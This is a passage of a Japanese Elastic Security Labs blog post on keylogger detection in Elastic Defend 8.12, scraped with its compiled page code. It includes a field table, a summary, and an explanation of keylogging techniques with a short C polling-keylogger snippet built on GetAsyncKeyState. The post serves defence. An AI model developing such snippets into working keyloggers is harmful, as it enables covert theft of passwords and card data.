process.Ext.api.parameters.usage | このパラメーターは、Usage Page 内の特定のデバイス(Usage)を示します。RAWINPUTDEVICE 構造体の2番目のメンバ | \"KEYBOARD\" |\n| RegisterRawInputDevices | process.Ext.api.parameters.flags | UsagePageとUsageによって提供される情報をどのように解釈するかを指定するモードフラグ。RAWINPUTDEVICE 構造体の3番目のメンバ | \"INPUTSINK\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.windows_count | 呼び出し元スレッドが所有するウィンドウの数 | 2 |\n| RegisterRawInputDevices | process.Ext.api.metadata.visible_windows_count | 呼び出し元スレッドが所有する表示されているウィンドウの数 | 0 |\n| RegisterRawInputDevices | process.Ext.api.metadata.thread_info_flags | スレッドの情報を表すフラグ | 16 |\n| RegisterRawInputDevices | process.Ext.api.metadata.start_address_module | スレッドの開始アドレスに紐づくモジュールの名前 | \"C:\\\\Windows\\\\System32\\\\DellTPad\\\\ApMsgFwd.exe\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.start_address_allocation_protection | スレッドの開始アドレスに紐づくメモリ保護属性 | \"RCX\" |\n\n## まとめ\n\n本記事では、Elastic Defend 8.12にて導入された、Windows環境におけるキーロガーおよびキーロギング検知機能についてご紹介しました。具体的には、キーロギングに関連する代表的なWindows API群の呼び出しを監視することで、シグネチャに依存しない、振る舞い検知によるキーロガー検出を実現しました。精度を高め、誤検知率を減らすために、数ヶ月にわたる研究・調査をもとにこの機能と新しいルールを開発しました。\n\nElastic Defendではキーロガー関連のAPI以外にも、攻撃者に一般的に利用されるメモリ操作等の[API群なども監視すること](https://www.elastic.co/security-labs/doubling-down-etw-callstacks)で、多層的な防御を実現しております。Elastic Security および Elastic Defendについて気になった方はぜひ[製品ページ](https://www.elastic.co/jp/security)や[ドキュメント](https://www.elastic.co/jp/videos/intro-elastic-security)を御覧頂ければ幸いです。\n","code":"var Component=(()=\u003e{var h=Object.create;var l=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var w=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var m=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var i in e)l(t,i,{get:e[i],enumerable:!0})},o=(t,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of u(e))!f.call(t,r)\u0026\u0026r!==i\u0026\u0026l(t,r,{get:()=\u003ee[r],enumerable:!(a=p(e,r))||a.enumerable});return t};var I=(t,e,i)=\u003e(i=t!=null?h(w(t)):{},o(e||!t||!t.__esModule?l(i,\"default\",{value:t,enumerable:!0}):i,t)),_=t=\u003eo(l({},\"__esModule\",{value:!0}),t);var s=m((b,c)=\u003e{c.exports=_jsx_runtime});var k={};g(k,{default:()=\u003eR,frontmatter:()=\u003ey});var n=I(s()),y={title:\"\\u60C5\\u5831\\u7A83\\u53D6\\u304B\\u3089\\u7AEF\\u672B\\u3092\\u5B88\\u308B\",slug:\"protecting-your-devices-from-information-theft-keylogger-protection-jp\",date:\"2024-05-30\",subtitle:\"Windows API\\u306E\\u6319\\u52D5\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u691C\\u77E5\",description:\"\\u672C\\u8A18\\u4E8B\\u3067\\u306FElastic Security\\u306B\\u304A\\u3044\\u3066\\u3001\\u30A8\\u30F3\\u30C9\\u30DD\\u30A4\\u30F3\\u30C8\\u4FDD\\u8B77\\u3092\\u62C5\\u3063\\u3066\\u3044\\u308BElastic Defend\\u306B\\u4ECA\\u5E74(\\u30D0\\u30FC\\u30B8\\u30E7\\u30F38.12\\u3088\\u308A)\\u65B0\\u305F\\u306B\\u8FFD\\u52A0\\u3055\\u308C\\u305F\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304A\\u3088\\u3073\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u691C\\u51FA\\u6A5F\\u80FD\\u306B\\u3064\\u3044\\u3066\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\",author:[{slug:\"asuka-nakajima\"}],image:\"Security Labs Images 10.jpg\",category:[{slug:\"security-operations\"},{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat hunting\",\"threat detection\"]};function d(t){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",h3:\"h3\",ol:\"ol\",li:\"li\",code:\"code\",pre:\"pre\",ul:\"ul\",strong:\"strong\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsxs)(e.p,{children:[\"\\u672C\\u8A18\\u4E8B\\u3067\\u306FElastic Security\\u306B\\u304A\\u3044\\u3066\\u3001\\u30A8\\u30F3\\u30C9\\u30DD\\u30A4\\u30F3\\u30C8\\u4FDD\\u8B77\\u3092\\u62C5\\u3063\\u3066\\u3044\\u308BElastic Defend\\u306B\\u4ECA\\u5E74(\\u30D0\\u30FC\\u30B8\\u30E7\\u30F3\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/8.12/release-notes-header-8.12.0.html#enhancements-8.12.0\",rel:\"nofollow\",children:\"8.12\"}),\"\\u3088\\u308A)\\u65B0\\u305F\\u306B\\u8FFD\\u52A0\\u3055\\u308C\\u305F\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304A\\u3088\\u3073\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u691C\\u51FA\\u6A5F\\u80FD\\u306B\\u3064\\u3044\\u3066\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u306F\\u3058\\u3081\\u306B\",children:\"\\u306F\\u3058\\u3081\\u306B\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Defend 8.12\\u3088\\u308A\\u3001Windows\\u4E0A\\u3067\\u52D5\\u4F5C\\u3059\\u308B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304A\\u3088\\u3073\\u3001\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u6A5F\\u80FD\\u3092\\u5099\\u3048\\u305F\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2(\\u60C5\\u5831\\u7A83\\u53D6\\u578B\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u3084\\u3001\\u30EA\\u30E2\\u30FC\\u30C8\\u30A2\\u30AF\\u30BB\\u30B9\\u578B\\u30C8\\u30ED\\u30A4\\u306E\\u6728\\u99AC\\u3001\\u901A\\u79F0RAT)\\u306E\\u691C\\u77E5\\u306E\\u5F37\\u5316\\u3092\\u76EE\\u7684\\u306B\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u4F7F\\u7528\\u3059\\u308B\\u4EE3\\u8868\\u7684\\u306AWindows API\\u7FA4\\u306E\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u30FB\\u8A18\\u9332\\u3059\\u308B\\u6A5F\\u80FD\\u304C\\u8FFD\\u52A0\\u3055\\u308C\\u307E\\u3057\\u305F\\u3002\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3053\\u306E\\u65B0\\u6A5F\\u80FD\\u306B\\u7126\\u70B9\\u3092\\u5F53\\u3066\\u3001\\u305D\\u306E\\u6280\\u8853\\u7684\\u306A\\u8A73\\u7D30\\u3092\\u89E3\\u8AAC\\u3057\\u307E\\u3059\\u3002\\u52A0\\u3048\\u3066\\u3001\\u672C\\u6A5F\\u80FD\\u306B\\u4ED8\\u968F\\u3057\\u3066\\u65B0\\u305F\\u306B\\u4F5C\\u6210\\u3055\\u308C\\u305F\\u632F\\u308B\\u821E\\u3044\\u691C\\u77E5\\u30EB\\u30FC\\u30EB(Prebuilt rule)\\u306B\\u3064\\u3044\\u3066\\u3082\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u306A\\u306B\\u304B\\u3069\\u306E\\u3088\\u3046\\u306A\\u5371\\u967A\\u6027\\u304C\\u3042\\u308B\\u306E\\u304B\",children:\"\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u306A\\u306B\\u304B\\uFF1F\\u3069\\u306E\\u3088\\u3046\\u306A\\u5371\\u967A\\u6027\\u304C\\u3042\\u308B\\u306E\\u304B\\uFF1F\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u3001\\u30B3\\u30F3\\u30D4\\u30E5\\u30FC\\u30BF\\u4E0A\\u3067\\u5165\\u529B\\u3055\\u308C\\u305F\\u30AD\\u30FC\\u306E\\u5185\\u5BB9\\u3092\\u76E3\\u8996\\u304A\\u3088\\u3073\\u8A18\\u9332(\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0)\\u3059\\u308B\\u30BD\\u30D5\\u30C8\\u30A6\\u30A7\\u30A2\\u306E\\u4E00\\u7A2E\\u3067\\u3059(\\u203B1)\\u3002\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30E6\\u30FC\\u30B6\\u306E\\u30E2\\u30CB\\u30BF\\u30EA\\u30F3\\u30B0\\u306A\\u3069\\u306E\\u6B63\\u5F53\\u306A\\u7406\\u7531\\u3067\\u5229\\u7528\\u3055\\u308C\\u308B\\u3053\\u3068\\u3082\\u3042\\u308A\\u307E\\u3059\\u304C\\u3001\\u653B\\u6483\\u8005\\u306B\\u3088\\u3063\\u3066\\u983B\\u7E41\\u306B\\u60AA\\u7528\\u3055\\u308C\\u308B\\u30BD\\u30D5\\u30C8\\u30A6\\u30A7\\u30A2\\u3067\\u3059\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u30E6\\u30FC\\u30B6\\u304C\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u7D4C\\u7531\\u3067\\u5165\\u529B\\u3057\\u305F\\u8A8D\\u8A3C\\u60C5\\u5831\\u3084\\u30AF\\u30EC\\u30B8\\u30C3\\u30C8\\u30AB\\u30FC\\u30C9\\u60C5\\u5831\\u3001\\u5404\\u7A2E\\u6A5F\\u5BC6\\u60C5\\u5831\\u306A\\u3069\\u306E\\u30BB\\u30F3\\u30B7\\u30C6\\u30A3\\u30D6\\u306A\\u60C5\\u5831\\u306E\\u7A83\\u53D6\\u306A\\u3069\\u306B\\u969B\\u306B\\u4F7F\\u308F\\u308C\\u307E\\u3059\\u3002(\\u203B1: \\u30D1\\u30BD\\u30B3\\u30F3\\u306BUSB\\u7B49\\u3067\\u76F4\\u63A5\\u53D6\\u308A\\u4ED8\\u3051\\u308B\\u3088\\u3046\\u306A\\u30CF\\u30FC\\u30C9\\u30A6\\u30A7\\u30A2\\u578B\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3082\\u3042\\u308A\\u307E\\u3059\\u304C\\u3001\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u30BD\\u30D5\\u30C8\\u30A6\\u30A7\\u30A2\\u578B\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306B\\u7126\\u70B9\\u3092\\u5F53\\u3066\\u307E\\u3059\\u3002)\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u901A\\u3058\\u3066\\u5165\\u624B\\u3057\\u305F\\u30BB\\u30F3\\u30B7\\u30C6\\u30A3\\u30D6\\u306A\\u60C5\\u5831\\u306F\\u3001\\u91D1\\u92AD\\u306E\\u7A83\\u53D6\\u3084\\u3055\\u3089\\u306A\\u308B\\u30B5\\u30A4\\u30D0\\u30FC\\u653B\\u6483\\u306E\\u8DB3\\u304C\\u304B\\u308A\\u306B\\u60AA\\u7528\\u3055\\u308C\\u307E\\u3059\\u3002\\u305D\\u308C\\u3086\\u3048\\u306B\\u3001\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u884C\\u70BA\\u81EA\\u4F53\\u306F\\u76F4\\u63A5\\u7684\\u306B\\u30B3\\u30F3\\u30D4\\u30E5\\u30FC\\u30BF\\u306B\\u88AB\\u5BB3\\u3092\\u304A\\u3088\\u3070\\u3055\\u306A\\u3044\\u3082\\u306E\\u306E\\u3001\\u7D9A\\u304F\\u30B5\\u30A4\\u30D0\\u30FC\\u653B\\u6483\\u306E\\u88AB\\u5BB3\\u3092\\u98DF\\u3044\\u6B62\\u3081\\u308B\\u305F\\u3081\\u306B\\u3082\\u3001\\u65E9\\u671F\\u306E\\u691C\\u77E5\\u304C\\u975E\\u5E38\\u306B\\u91CD\\u8981\\u3060\\u3068\\u8A00\\u3048\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u6A5F\\u80FD\\u3092\\u6301\\u3064\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u306F\\u591A\\u3005\\u3042\\u308A\\u3001\\u7279\\u306BRAT\\u3001\\u60C5\\u5831\\u7A83\\u53D6\\u578B\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u3001\\u30D0\\u30F3\\u30AD\\u30F3\\u30B0\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u3068\\u3044\\u3063\\u305F\\u7A2E\\u985E\\u306E\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u306B\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u6A5F\\u80FD\\u304C\\u642D\\u8F09\\u3055\\u308C\\u3066\\u3044\\u308B\\u5834\\u5408\\u304C\\u3042\\u308B\\u3053\\u3068\\u304C\\u78BA\\u8A8D\\u3055\\u308C\\u3066\\u3044\\u307E\\u3059\\u3002\\u6709\\u540D\\u306A\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u3067\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u6A5F\\u80FD\\u3092\\u6709\\u3059\\u308B\\u3082\\u306E\\u3068\\u3057\\u3066\\u306F\",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla\",rel:\"nofollow\",children:\"Agent Tesla\"}),\"\\u3084\",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot\",rel:\"nofollow\",children:\"Lokibit\"}),\"\\u3001\\u305D\\u3057\\u3066\",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger\",rel:\"nofollow\",children:\"SnakeKeylogger\"}),\"\\u306A\\u3069\\u304C\\u6319\\u3052\\u3089\\u308C\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u3044\\u304B\\u306B\\u3057\\u3066\\u5165\\u529B\\u3057\\u305F\\u6587\\u5B57\\u3092\\u76D7\\u307F\\u53D6\\u3063\\u3066\\u3044\\u308B\\u306E\\u304B\",children:\"\\u3044\\u304B\\u306B\\u3057\\u3066\\u5165\\u529B\\u3057\\u305F\\u6587\\u5B57\\u3092\\u76D7\\u307F\\u53D6\\u3063\\u3066\\u3044\\u308B\\u306E\\u304B\\uFF1F\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3067\\u306F\\u6B21\\u306B\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3044\\u304B\\u306B\\u3057\\u3066\\u30E6\\u30FC\\u30B6\\u304C\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u304B\\u3089\\u5165\\u529B\\u3057\\u305F\\u6587\\u5B57\\u3092\\u3001\\u30E6\\u30FC\\u30B6\\u306B\\u6C17\\u3065\\u304B\\u308C\\u308B\\u3053\\u3068\\u7121\\u304F\\u76D7\\u307F\\u53D6\\u3063\\u3066\\u3044\\u308B\\u306E\\u304B\\u3092\\u3001\\u6280\\u8853\\u7684\\u306A\\u89B3\\u70B9\\u304B\\u3089\\u8AAC\\u660E\\u3057\\u3066\\u3044\\u304D\\u307E\\u3059\\u3002\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u81EA\\u4F53\\u306F\\u3001\\u3042\\u3089\\u3086\\u308BOS\\u74B0\\u5883(Windows/Linux/macOS\\u3084\\u30E2\\u30D0\\u30A4\\u30EB\\u30C7\\u30D0\\u30A4\\u30B9)\\u3067\\u5B58\\u5728\\u3057\\u3046\\u308B\\u3082\\u306E\\u3067\\u306F\\u3042\\u308A\\u307E\\u3059\\u304C\\u3001\\u672C\\u8A18\\u4E8B\\u3067\\u306FWindows\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306B\\u7126\\u70B9\\u3092\\u7D5E\\u3063\\u3066\\u89E3\\u8AAC\\u3057\\u307E\\u3059\\u3002\\u7279\\u306BWindows API\\u3084\\u6A5F\\u80FD\\u3092\\u4F7F\\u7528\\u3057\\u3066\\u30AD\\u30FC\\u5165\\u529B\\u3092\\u53D6\\u5F97\\u3059\\u308B4\\u3064\\u306E\\u7570\\u306A\\u308B\\u30BF\\u30A4\\u30D7\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306B\\u3064\\u3044\\u3066\\u89E3\\u8AAC\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u4E00\\u70B9\\u88DC\\u8DB3\\u3068\\u3057\\u3066\\u306F\\u3001\\u3053\\u3053\\u3067\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u306E\\u624B\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3057\\u3066\\u3044\\u308B\\u306E\\u306F\\u3001\\u3042\\u304F\\u307E\\u3067\\u672C\\u8A18\\u4E8B\\u5F8C\\u534A\\u3067\\u7D39\\u4ECB\\u3057\\u3066\\u3044\\u308B\\u3001\\u65B0\\u3057\\u3044\\u691C\\u77E5\\u6A5F\\u80FD\\u306B\\u3064\\u3044\\u3066\\u306E\\u7406\\u89E3\\u3092\\u6DF1\\u3081\\u3066\\u3044\\u305F\\u3060\\u304F\\u305F\\u3081\\u3067\\u3059\\u3002\\u305D\\u306E\\u305F\\u3081\\u3001\\u4F8B\\u3068\\u3057\\u3066\\u63B2\\u8F09\\u3057\\u3066\\u3044\\u308B\\u30B3\\u30FC\\u30C9\\u306F\\u3042\\u304F\\u307E\\u3067\\u5358\\u306A\\u308B\\u4F8B\\u3067\\u3042\\u308A\\u3001\\u5B9F\\u969B\\u306B\\u305D\\u306E\\u307E\\u307E\\u52D5\\u304F\\u30B3\\u30FC\\u30C9\\u304C\\u63B2\\u8F09\\u3055\\u308C\\u3066\\u3044\\u308B\\u8A33\\u3067\\u306F\\u3042\\u308A\\u307E\\u305B\\u3093(\\u203B3)\\u3002\"}),`\n`,(0,n.jsx)(e.p,{children:`(\\u203B2: Windows\\u4E0A\\u3067\\u52D5\\u4F5C\\u3059\\u308B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30AB\\u30FC\\u30CD\\u30EB\\u7A7A\\u9593(OS)\\u5074\\u306B\\u8A2D\\u7F6E\\u3055\\u308C\\u308B\\u3082\\u306E\\u3068\\u3001\\u901A\\u5E38\\u306E\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u3068\\u540C\\u3058\\u9818\\u57DF(\\u30E6\\u30FC\\u30B6\\u7A7A\\u9593)\\u306B\\u8A2D\\u7F6E\\u3055\\u308C\\u308B\\u3082\\u306E\\u306B\\u5927\\u5225\\u3055\\u308C\\u307E\\u3059\\u3002\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3001\\u5F8C\\u8005\\u306E\\u30BF\\u30A4\\u30D7\\u3092\\u53D6\\u308A\\u4E0A\\u3052\\u307E\\u3059\\u3002 )\n(\\u203B3: \\u4EE5\\u4E0B\\u306B\\u63B2\\u8F09\\u3055\\u308C\\u3066\\u3044\\u308B\\u4F8B\\u306E\\u30B3\\u30FC\\u30C9\\u3092\\u5143\\u306B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u4F5C\\u6210\\u3057\\u60AA\\u7528\\u3057\\u305F\\u5834\\u5408\\u3001\\u5F0A\\u793E\\u3067\\u306F\\u5BFE\\u5FDC\\u3001\\u304A\\u3088\\u3073\\u3001\\u8CAC\\u4EFB\\u306B\\u3064\\u3044\\u3066\\u8CA0\\u3044\\u304B\\u306D\\u307E\\u3059 \\u3002)`}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsx)(e.li,{children:\"\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3053\\u306E\\u30BF\\u30A4\\u30D7\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u306E\\u5404\\u30AD\\u30FC\\u306E\\u72B6\\u614B(\\u30AD\\u30FC\\u304C\\u62BC\\u3055\\u308C\\u305F\\u5426\\u304B)\\u3092\\u77ED\\u3044\\u9593\\u9694(1\\u79D2\\u3088\\u308A\\u306F\\u308B\\u304B\\u306B\\u77ED\\u3044\\u9593\\u9694)\\u3067\\u5B9A\\u671F\\u7684\\u306B\\u78BA\\u8A8D\\u3057\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066\\u524D\\u56DE\\u306E\\u78BA\\u8A8D\\u4EE5\\u964D\\u306B\\u3001\\u65B0\\u305F\\u306B\\u62BC\\u3055\\u308C\\u305F\\u30AD\\u30FC\\u304C\\u3042\\u308B\\u3053\\u3068\\u304C\\u5224\\u660E\\u3057\\u305F\\u5834\\u5408\\u3001\\u305D\\u306E\\u62BC\\u3055\\u308C\\u305F\\u30AD\\u30FC\\u306E\\u6587\\u5B57\\u306E\\u60C5\\u5831\\u3092\\u8A18\\u9332\\u30FB\\u4FDD\\u5B58\\u3057\\u307E\\u3059\\u3002\\u3053\\u306E\\u4E00\\u9023\\u306E\\u6D41\\u308C\\u3092\\u7E70\\u308A\\u8FD4\\u3059\\u3053\\u3068\\u3067\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30E6\\u30FC\\u30B6\\u304C\\u5165\\u529B\\u3057\\u305F\\u6587\\u5B57\\u5217\\u306E\\u60C5\\u5831\\u3092\\u53D6\\u5F97\\u3057\\u3066\\u3044\\u308B\\u306E\\u3067\\u3059\\u3002\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30AD\\u30FC\\u306E\\u5165\\u529B\\u72B6\\u614B\\u3092\\u30C1\\u30A7\\u30C3\\u30AF\\u3059\\u308BWindows\\u306EAPI\\u3092\\u5229\\u7528\\u3057\\u3066\\u5B9F\\u88C5\\u3055\\u308C\\u3066\\u304A\\u308A\\u3001\\u4EE3\\u8868\\u7684\\u306B\\u306F \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getasynckeystate\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"GetAsyncKeyState\"})}),\" API\\u304C\\u5229\\u7528\\u3055\\u308C\\u307E\\u3059\\u3002\\u3053\\u306EAPI\\u306F\\u3001\\u7279\\u5B9A\\u306E\\u30AD\\u30FC\\u304C\\u73FE\\u5728\\u62BC\\u3055\\u308C\\u3066\\u3044\\u308B\\u304B\\u5426\\u304B\\u306B\\u52A0\\u3048\\u3066\\u3001\\u305D\\u306E\\u7279\\u5B9A\\u306E\\u30AD\\u30FC\\u304C\\u524D\\u56DE\\u306EAPI\\u547C\\u3073\\u51FA\\u3057\\u4EE5\\u964D\\u62BC\\u3055\\u308C\\u305F\\u304B\\u5426\\u304B\\u306E\\u60C5\\u5831\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\",(0,n.jsx)(e.code,{children:\"GetAsyncKeyState\"}),\" API\\u3092\\u4F7F\\u3063\\u305F\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u7C21\\u5358\\u306A\\u4F8B\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`while(true)\n{\n for (int key = 1; key \u003c= 255; key++)\n {\n if (GetAsyncKeyState(key) \u0026 0x01)\n {\n SaveTheKey(key, \"log.txt\");\n }\n }\n Sleep(50);\n}\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0(\",(0,n.jsx)(e.code,{children:\"GetAsyncKeyState\"}),\")\\u3092\\u7528\\u3044\\u3066\\u30AD\\u30FC\\u62BC\\u4E0B\\u72B6\\u614B\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u624B\\u6CD5\\u306F\\u3001\\u53E4\\u304F\\u304B\\u3089\\u5B58\\u5728\\u3059\\u308B\\u5178\\u578B\\u7684\\u306A\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u306E\\u624B\\u6CD5\\u3068\\u3057\\u3066\\u77E5\\u3089\\u308C\\u3066\\u3044\\u308B\\u3060\\u3051\\u3067\\u306A\\u304F\\u3001\\u4ECA\\u3067\\u3082\\u30DE\\u30EB\\u30A6\\u30A7\\u30A2\\u306B\\u3088\\u3063\\u3066\\u4F7F\\u308F\\u308C\\u3066\\u3044\\u308B\\u3053\\u3068\\u304C\\u78BA\\u8A8D\\u3055\\u308C\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,n.jsx)(e.li,{children:\"\\u30D5\\u30C3\\u30AD\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"\\u30D5\\u30C3\\u30AD\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u540C\\u3058\\u304F\\u3001\\u53E4\\u304F\\u304B\\u3089\\u5B58\\u5728\\u3059\\u308B\\u5178\\u578B\\u7684\\u306A\\u7A2E\\u985E\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3067\\u3059\\u3002\\u3053\\u3053\\u3067\\u306F\\u307E\\u305A\\u300C\\u305D\\u3082\\u305D\\u3082\\u30D5\\u30C3\\u30AF\\u3068\\u306F\\u4F55\\u304B\\uFF1F\\u300D\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30D5\\u30C3\\u30AF\\u3068\\u306F\\u5927\\u96D1\\u628A\\u306B\\u8A00\\u3046\\u3068\\u300C\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u306E\\u7279\\u5B9A\\u306E\\u51E6\\u7406\\u306B\\u3001\\u72EC\\u81EA\\u306E\\u51E6\\u7406\\u3092\\u5272\\u308A\\u8FBC\\u307E\\u305B\\u308B\\u4ED5\\u7D44\\u307F\\u300D\\u306E\\u3053\\u3068\\u3092\\u6307\\u3059\\u8A00\\u8449\\u3067\\u3059\\u3002\\u305D\\u3057\\u3066\\u3001\\u30D5\\u30C3\\u30AF\\u3092\\u4F7F\\u3063\\u3066\\u72EC\\u81EA\\u306E\\u51E6\\u7406\\u3092\\u5272\\u308A\\u8FBC\\u307E\\u305B\\u308B\\u3053\\u3068\\u3092\\u300C\\u30D5\\u30C3\\u30AF\\u3059\\u308B\\u300D\\u3068\\u3082\\u8A00\\u3044\\u307E\\u3059\\u3002Windows\\u3067\\u306F\\u3001\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u306B\\u5BFE\\u3059\\u308B\\u30AD\\u30FC\\u5165\\u529B\\u306A\\u3069\\u306E\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8(\\u30A4\\u30D9\\u30F3\\u30C8)\\u3092\\u30D5\\u30C3\\u30AF\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u308B\\u4ED5\\u7D44\\u307F\\u304C\\u7528\\u610F\\u3055\\u308C\\u3066\\u304A\\u308A\\u3001\\u3053\\u306E\\u4ED5\\u7D44\\u307F\\u306F\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-setwindowshookexa\",rel:\"nofollow\",children:\"SetWindowsHookEx\"}),\" 